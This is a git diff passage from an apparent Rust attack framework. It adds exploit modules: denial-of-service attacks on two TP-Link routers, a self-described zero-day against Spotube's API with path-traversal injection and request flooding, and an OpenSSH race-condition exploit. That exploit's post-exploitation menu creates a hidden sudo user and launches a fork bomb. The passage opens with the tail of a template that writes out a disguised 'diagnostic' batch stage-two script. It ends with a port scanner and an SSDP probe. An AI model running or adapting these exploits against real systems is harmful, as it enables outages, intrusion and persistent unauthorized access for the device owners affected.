echo echo [*] 補助診断完了。
) > "%stage2%"
:: Random delay before running stage 2
set /a rdelay=(%RANDOM% %% 5) + 2
echo [INFO] stage2.bat を %rdelay% 秒後に実行します...
call :SleepS %rdelay%
:: Run stage2
call "%stage2%"
echo [√] 全診断完了。ログは "{{OUTFILE}}" に保存されました。
call :SleepS 2
pause
exit
"#;
tpl.replace("{{URL}}", url)
.replace("{{OUTFILE}}", ps1_name)
}
+2
View File
@@ -0,0 +1,2 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
@@ -0,0 +1,132 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
/// Normalize IPv6/IPv4/hostname and fix extra brackets
fn normalize_target_host(raw: &str) -> String {
// Remove outer brackets if any, then reapply correctly for IPv6
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{stripped}]")
} else {
stripped.to_string()
}
}
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Memory corruption PoC using format string overflow
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
/// Entry point for the exploit module
pub async fn run(raw_target: &str) -> Result<()> {
// Normalize target
let target = normalize_target_host(raw_target);
// Create HTTP client with insecure certs accepted and 5s timeout
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Monitor stdin for "stop" command
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Continuous dual PoC attack until user stops
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, &target),
dos_memory_corruption(&client, &target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}
@@ -0,0 +1,114 @@
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N
// Description:
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
// a user must physically reboot the router.
use anyhow::Result;
use base64::{engine::general_purpose, Engine as _};
use reqwest::{Client, header::HeaderMap};
use std::io;
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
/// Normalize IP to handle IPv6 and multiple brackets
fn normalize_ip(ip: &str) -> String {
// Remove all surrounding brackets
let mut ip = ip.trim_matches('[').trim_matches(']').to_string();
// Add brackets for IPv6
if ip.contains(':') && !ip.starts_with('[') {
ip = format!("[{}]", ip);
}
ip
}
/// Internal function to send crafted request to crash router
async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<()> {
// Normalize the IP for correct URL formatting
let ip = normalize_ip(ip);
// Create a crash pattern of exact 192 characters using "crash_crash_on_a_loop_"
let crash_pattern = "crash_crash_on_a_loop_";
let repeated = crash_pattern.repeat(9); // 9*22 = 198 > 192
let payload = &repeated[..192]; // truncate to exact length
// Construct vulnerable URL
let target_url = format!(
"http://{ip}:{port}/userRpm/PingIframeRpm.htm?ping_addr={payload}&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20",
ip = ip,
port = port,
payload = payload
);
// Build basic auth header
let credentials = format!("{username}:{password}");
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
// Prepare HTTP headers
let mut headers = HeaderMap::new();
headers.insert("Host", format!("{ip}:{port}", ip = ip, port = port).parse()?);
headers.insert("Authorization", format!("Basic {}", encoded_credentials).parse()?);
headers.insert("Upgrade-Insecure-Requests", "1".parse()?);
headers.insert("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36".parse()?);
headers.insert("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9".parse()?);
headers.insert("Referer", format!("http://{ip}:{port}/userRpm/DiagnosticRpm.htm", ip = ip, port = port).parse()?);
headers.insert("Accept-Encoding", "gzip, deflate".parse()?);
headers.insert("Accept-Language", "en-US,en;q=0.9".parse()?);
headers.insert("Connection", "close".parse()?);
let client = Client::builder()
.default_headers(headers)
.build()?;
let response = client.get(&target_url).send().await?;
if response.status().as_u16() == 200 {
println!("[+] Server Crashed (200 OK received)");
let body = response.text().await.unwrap_or_default();
println!("{}", body);
} else {
println!(
"[-] Script Completed with status code: {}",
response.status()
);
}
// Check if the host is still up — timeout after 1 second
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
Ok(Ok(_)) => {
println!("[!] Target still responds on port {}. DoS likely failed.", port);
}
_ => {
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
}
}
Ok(())
}
/// Entry point required by auto-dispatch
pub async fn run(target: &str) -> Result<()> {
println!("Enter router port (default is 8082): ");
let mut port_str = String::new();
io::stdin().read_line(&mut port_str)?;
let port: u16 = port_str.trim().parse().unwrap_or(8082);
println!("Enter username: ");
let mut username = String::new();
io::stdin().read_line(&mut username)?;
let username = username.trim();
println!("Enter password: ");
let mut password = String::new();
io::stdin().read_line(&mut password)?;
let password = password.trim();
execute(target, port, username, password).await
}
+1
View File
@@ -0,0 +1 @@
pub mod spotube;
+231
View File
@@ -0,0 +1,231 @@
//// src/modules/exploits/spotube/spotube_remote.rs
//// src/modules/exploits/spotube/spotube.rs
//// made by me suicidal teddy my first ever zero day exploit
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use std::io::{self, Write};
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
// //// // Custom headers to emulate BurpSuite-style browser requests
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
// //// // Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{}{} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("Enter malicious filename (e.g. ../evil.sh): ");
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
let malicious_name = {
let t = name.trim();
if t.is_empty() { "../evil.sh" } else { t }
};
// prompt for fake track ID
print!("Enter fake track ID (e.g. INJECT1): ");
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
let track_id = {
let t = tid.trim();
if t.is_empty() { "INJECT1" } else { t }
};
// prompt for codec extension
print!("Enter codec extension (e.g. mp3): ");
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
let codec = {
let t = cd.trim();
if t.is_empty() { "mp3" } else { t }
};
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
// //// // CLI menu that mimics the original Python script, now with WS and DoS
pub async fn run(target: &str) -> Result<()> {
println!("⚙️ Spotube Advanced Exploit CLI\n");
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("Enter port [17086]: ");
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
let port = {
let t = p.trim();
if t.is_empty() { "17086".to_string() } else { t.to_string() }
};
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
print!("Choose an option: ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
println!("\n▶️ Ping server …");
let _ = execute(&host, &port, "/ping").await;
}
"2" => {
println!("\n▶️ Next track …");
let _ = execute(&host, &port, "/playback/next").await;
}
"3" => {
println!("\n▶️ Previous track …");
let _ = execute(&host, &port, "/playback/previous").await;
}
"4" => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, &port, "/playback/toggle-playback").await;
}
"5" => {
ws_inject_path_traversal(&host, &port).await?;
}
"6" => {
// //// // flood prompts
print!("Endpoint to flood (e.g. /playback/next): ");
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
print!("Number of requests [100]: ");
io::stdout().flush()?;
let mut cnt = String::new();
io::stdin().read_line(&mut cnt)?;
let count = cnt.trim().parse().unwrap_or(100);
print!("Delay between requests (s) [0]: ");
io::stdout().flush()?;
let mut dly = String::new();
io::stdin().read_line(&mut dly)?;
let delay = dly.trim().parse().unwrap_or(0.0);
dos_flood(&host, &port, path, count, delay).await?;
}
"7" => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod opensshserver_9_8p1race_condition;
@@ -0,0 +1,355 @@
use std::io::{stdin, stdout, Write, BufRead};
use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::{sleep, Duration, Instant};
use tokio::process::Command;
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
use rand::Rng;
use std::sync::Arc;
use anyhow::{Result, bail};
use std::io::ErrorKind;
// // Shellcode to inject
const SHELLCODE: &[u8] = b"\x90\x90\x90\x90";
// // GLIBC base addresses to brute force
const GLIBC_BASES: [u64; 2] = [0xb7200000, 0xb7400000];
// // SSH Login grace time window in seconds
const LOGIN_GRACE_TIME: f64 = 120.0;
// // Max size of a crafted packet
const MAX_PACKET_SIZE: usize = 256 * 1024;
// // Max parallel attempts at once
// 2 MiB alignment
const GLIBC_ALIGN: u64 = 0x0020_0000;
// Lower/upper bounds for your targets glibc region
const GLIBC_LOWER: u64 = 0x7ffff7000000;
const GLIBC_UPPER: u64 = 0x7ffff9000000;
// Precompute how many slots are in that range
fn glibc_steps() -> u64 {
((GLIBC_UPPER - GLIBC_LOWER) / GLIBC_ALIGN) + 1
}
/// On-the-fly random, 2 MiB-aligned glibc base
fn random_glibc_base() -> u64 {
let steps = glibc_steps();
let idx = rand::rng().random_range(0..steps);
GLIBC_LOWER + idx * GLIBC_ALIGN
}
// // Align memory chunks
fn chunk_align(s: usize) -> usize {
(s + 15) & !15
}
// NEW: Normalize target address (IPv4, IPv6 with any bracket mess)
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip = ip.trim_matches(|c| c == '[' || c == ']'); // Remove any number of [ ]
if ip.contains(':') && !ip.contains('.') {
Ok(format!("[{}]:{}", ip, port)) // IPv6 must have brackets
} else {
Ok(format!("{}:{}", ip, port)) // IPv4 or hostname
}
}
// // Create TCP connection to target
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(addr).await?;
Ok(stream)
}
// // Send custom SSH packet
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet = vec![0u8; len];
packet[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet[4] = packet_type;
packet[5..].copy_from_slice(data);
stream.write_all(&packet).await?;
Ok(())
}
// // Receive response with retry
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
continue;
}
Err(e) => return Err(e.into()),
}
}
}
// // Send SSH version string
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
// // Receive SSH version from server
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await?;
Ok(())
}
// // Send SSH KEX INIT packet
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await
}
// // Receive KEX INIT response
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await?;
receive_ssh_version(stream).await?;
send_kex_init(stream).await?;
receive_kex_init(stream).await?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream) -> Result<()> {
for _ in 0..10 {
let data = vec![b'A'; 64];
send_packet(stream, 5, &data).await?;
}
for _ in 0..27 {
let large = vec![b'B'; 8192];
let small = vec![b'C'; 320];
send_packet(stream, 5, &large).await?;
send_packet(stream, 5, &small).await?;
}
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, GLIBC_BASES[0]);
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
// // Send malformed public key and measure delay
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
// // Calculate parsing delay
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await?;
let t2 = measure_response_time(stream, 2).await?;
Ok(t2 - t1)
}
fn create_fake_file_structure(buf: &mut [u8], base: u64) {
if buf.len() >= 8 {
buf[..8].copy_from_slice(&base.to_le_bytes());
}
}
// // Create packet with shellcode and fake structures
fn create_public_key_packet(buffer: &mut [u8], base: u64) {
buffer.fill(0);
buffer[..8].copy_from_slice(b"ssh-rsa ");
let offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
buffer[offset..offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
create_fake_file_structure(&mut buffer[pos..pos + 304], base);
}
}
// // Attempt to trigger race condition
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, base: u64) -> Result<bool> {
let mut payload = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut payload, base);
stream.write_all(&payload[..payload.len() - 1]).await?;
let wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
sleep(Duration::from_secs_f64(wait_time)).await;
stream.write_all(&payload[payload.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
}
}
// // Execute post-exploitation action
fn post_exploit_action(option: u8) {
match option {
1 => {
println!("[+] Root shell enabled - attach manually via SSH");
}
2 => {
println!("[+] Creating persistent user...");
let _ = Command::new("bash")
.arg("-c")
.arg("useradd -m -p $(openssl passwd -1 root123) pwned && usermod -aG sudo pwned")
.status();
}
3 => {
println!("[!] Triggering fork bomb...");
let _ = Command::new("bash")
.arg("-c")
.arg(":(){ :|:& };:")
.status();
}
_ => println!("[-] Invalid action"),
}
}
// // Entry point for auto-dispatch system
pub async fn run(target: &str) -> Result<()> {
println!("warning high resource usage Caustion!!!");
println!("560k request in 5 seconds");
println!("Select post-exploitation action:");
println!(" 1. Remote Root Shell");
println!(" 2. Persistence (create SSH user)");
println!(" 3. Server Destruction (fork bomb)");
let stdin = stdin();
let mut choice = String::new();
print!("Enter option [1-3]: ");
stdout().flush()?;
stdin.lock().read_line(&mut choice)?;
let mode: u8 = choice.trim().parse().unwrap_or(0);
if !(1..=3).contains(&mode) {
bail!("Invalid option.");
}
println!("Do you want to run more than 10,000 attempts? [y/N or a number like 90000]");
let mut input = String::new();
stdin.lock().read_line(&mut input)?;
let trimmed = input.trim();
let mut attempts = 10000;
if trimmed.eq_ignore_ascii_case("y") {
println!("Enter total number of attempts:");
input.clear();
stdin.lock().read_line(&mut input)?;
attempts = input.trim().parse::<usize>().unwrap_or(10000);
} else if let Ok(n) = trimmed.parse::<usize>() {
attempts = n;
}
let (ip, port) = if let Some((ip_part, port_part)) = target.rsplit_once(':') {
let ip_clean = ip_part.trim_matches(|c| c == '[' || c == ']');
(ip_clean.to_string(), port_part.parse::<u16>()?)
} else {
println!("No set target ip:port specified. Enter SSH port for {}: ", target);
print!("Port: ");
stdout().flush()?;
let mut port_input = String::new();
stdin.lock().read_line(&mut port_input)?;
let port = port_input.trim().parse::<u16>()?;
(target.trim_matches(|c| c == '[' || c == ']').to_string(), port)
};
let semaphore = Arc::new(Semaphore::new(100_000));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
for attempt in 0..attempts {
let permit = semaphore.clone().acquire_owned().await?;
let ip = ip.clone();
let _mode = mode;
tasks.push(tokio::spawn(async move {
let _permit = permit;
if attempt % 1000 == 0 {
println!("[*] Attempt {}/{}", attempt, attempts);
}
// === NEW: pick a random glibc base each attempt ===
let base = random_glibc_base();
let mut stream = match setup_connection(&ip, port).await {
Ok(s) => s,
Err(_) => return Ok(false),
};
if perform_ssh_handshake(&mut stream).await.is_err() {
return Ok(false);
}
if prepare_heap(&mut stream).await.is_err() {
return Ok(false);
}
let Ok(parsing_time) = time_final_packet(&mut stream).await else {
return Ok(false);
};
Ok(attempt_race_condition(stream, parsing_time, base).await.unwrap_or(false))
}));
}
while let Some(result) = tasks.next().await {
match result {
Ok(Ok(true)) => {
println!("[+] Exploit succeeded!");
post_exploit_action(mode);
return Ok(());
}
Ok(Ok(false)) => continue,
Ok(Err(e)) => {
eprintln!("[!] Exploit error: {}", e);
continue;
}
Err(join_err) => {
eprintln!("[!] Join error: {}", join_err);
continue;
}
}
}
println!("[-] All attempts exhausted.");
Ok(())
}
+2
View File
@@ -1 +1,3 @@
pub mod sample_scanner;
pub mod ssdp_msearch;
pub mod port_scanner;
+231
View File
@@ -0,0 +1,231 @@
use anyhow::Result;
use std::{
fs::File,
io::{self, Write},
net::{SocketAddr, ToSocketAddrs},
sync::Arc,
};
use tokio::{
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[allow(dead_code)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
pub show_only_open: bool,
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
}
#[allow(dead_code)]
/// Prompt user for scan configuration
pub fn prompt_settings() -> Result<ScanSettings> {
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
})
}
#[allow(dead_code)]
/// Interactive entry point
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
target,
settings.concurrency,
settings.timeout_secs,
settings.show_only_open,
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
)
.await
}
/// Dispatch-compatible wrapper
#[allow(dead_code)]
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// Renamed internal function to avoid clash
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
) -> Result<()> {
let target = normalize_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks = vec![];
let mut file = File::create(output_file)?;
writeln!(file, "Scan Results for {}\n", target)?;
println!("[*] Starting TCP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.clone();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some((status, banner)) = scan_tcp(&target, port, timeout_secs).await {
let line = format!("[TCP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
if !banner.is_empty() {
writeln!(file, "{} | Banner: {}", line, banner).ok();
if verbose {
println!("{} | Banner: {}", line, banner);
}
} else {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
}
}
}
}
});
tasks.push(handle);
}
if scan_udp_enabled {
println!("[*] Starting UDP scan...");
for port in 1..=65535 {
let permit = semaphore.clone().acquire_owned().await?;
let target = target.clone();
let mut file = file.try_clone()?;
let handle = tokio::spawn(async move {
let _permit = permit;
if let Some(status) = scan_udp(&target, port, timeout_secs).await {
let line = format!("[UDP] {}:{} => {}", target, port, status);
if status == "OPEN" || !show_only_open {
writeln!(file, "{}", line).ok();
if verbose {
println!("{}", line);
}
}
}
});
tasks.push(handle);
}
}
for task in tasks {
let _ = task.await;
}
println!("[*] Scan complete. Results saved to {}", output_file);
Ok(())
}
/// TCP connect scan + banner grab
async fn scan_tcp(ip: &str, port: u16, timeout_secs: u64) -> Option<(String, String)> {
let addr = format!("{}:{}", ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await {
Ok(Ok(stream)) => {
let mut buf = [0; 1024];
match timeout(Duration::from_secs(2), stream.readable()).await {
Ok(Ok(())) => match stream.try_read(&mut buf) {
Ok(n) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).to_string();
Some(("OPEN".into(), banner))
}
_ => Some(("OPEN".into(), "".into())),
},
_ => Some(("OPEN".into(), "".into())),
}
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into())),
}
}
/// UDP scan (null packet, timeout-based)
async fn scan_udp(ip: &str, port: u16, timeout_secs: u64) -> Option<String> {
let local = "0.0.0.0:0".parse::<SocketAddr>().unwrap();
let remote = format!("{}:{}", ip, port);
let remote = match normalize_addr(&remote) {
Ok(addr) => addr,
Err(_) => return None,
};
let socket = UdpSocket::bind(local).await.ok()?;
let _ = socket.send_to(b"\x00", &remote).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), socket.recv_from(&mut buf)).await {
Ok(Ok((_n, _))) => Some("OPEN".into()),
_ => None,
}
}
/// Normalize IP/hostname for bracket handling and clean input
fn normalize_target(input: &str) -> Result<String> {
let input = input.trim().trim_start_matches('[').trim_end_matches(']').trim();
if input.contains(':') && !input.contains('.') {
// Likely IPv6, re-add brackets
Ok(format!("[{}]", input))
} else {
Ok(input.to_string())
}
}
/// Normalize and parse into a real SocketAddr
fn normalize_addr(input: &str) -> Result<SocketAddr> {
// Remove extra brackets first
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
// If IPv6, wrap again properly
let formatted = if cleaned.contains(':') && !cleaned.contains('.') {
format!("[{}]", cleaned)
} else {
cleaned.to_string()
};
let addrs = formatted.to_socket_addrs()?;
addrs.into_iter().next().ok_or_else(|| anyhow::anyhow!("Invalid address"))
}
/// Prompt for string input
fn prompt(message: &str) -> Result<String> {
print!("{}", message);
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
/// Prompt for boolean yes/no
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Please enter 'y' or 'n'."),
}
}
}
/// Prompt for number input
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("Please enter a valid number.");
}
}
+111
View File
@@ -0,0 +1,111 @@
use anyhow::{Result};
use regex::Regex;
use std::collections::HashMap;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(1900);
let target = clean_ipv6_brackets(target);
let addr = normalize_target(&target, port)?;
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target, port
);
socket.send(request.as_bytes()).await?;
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, &target, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
}
Ok(())
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
fn normalize_target(target: &str, port: u16) -> Result<String> {
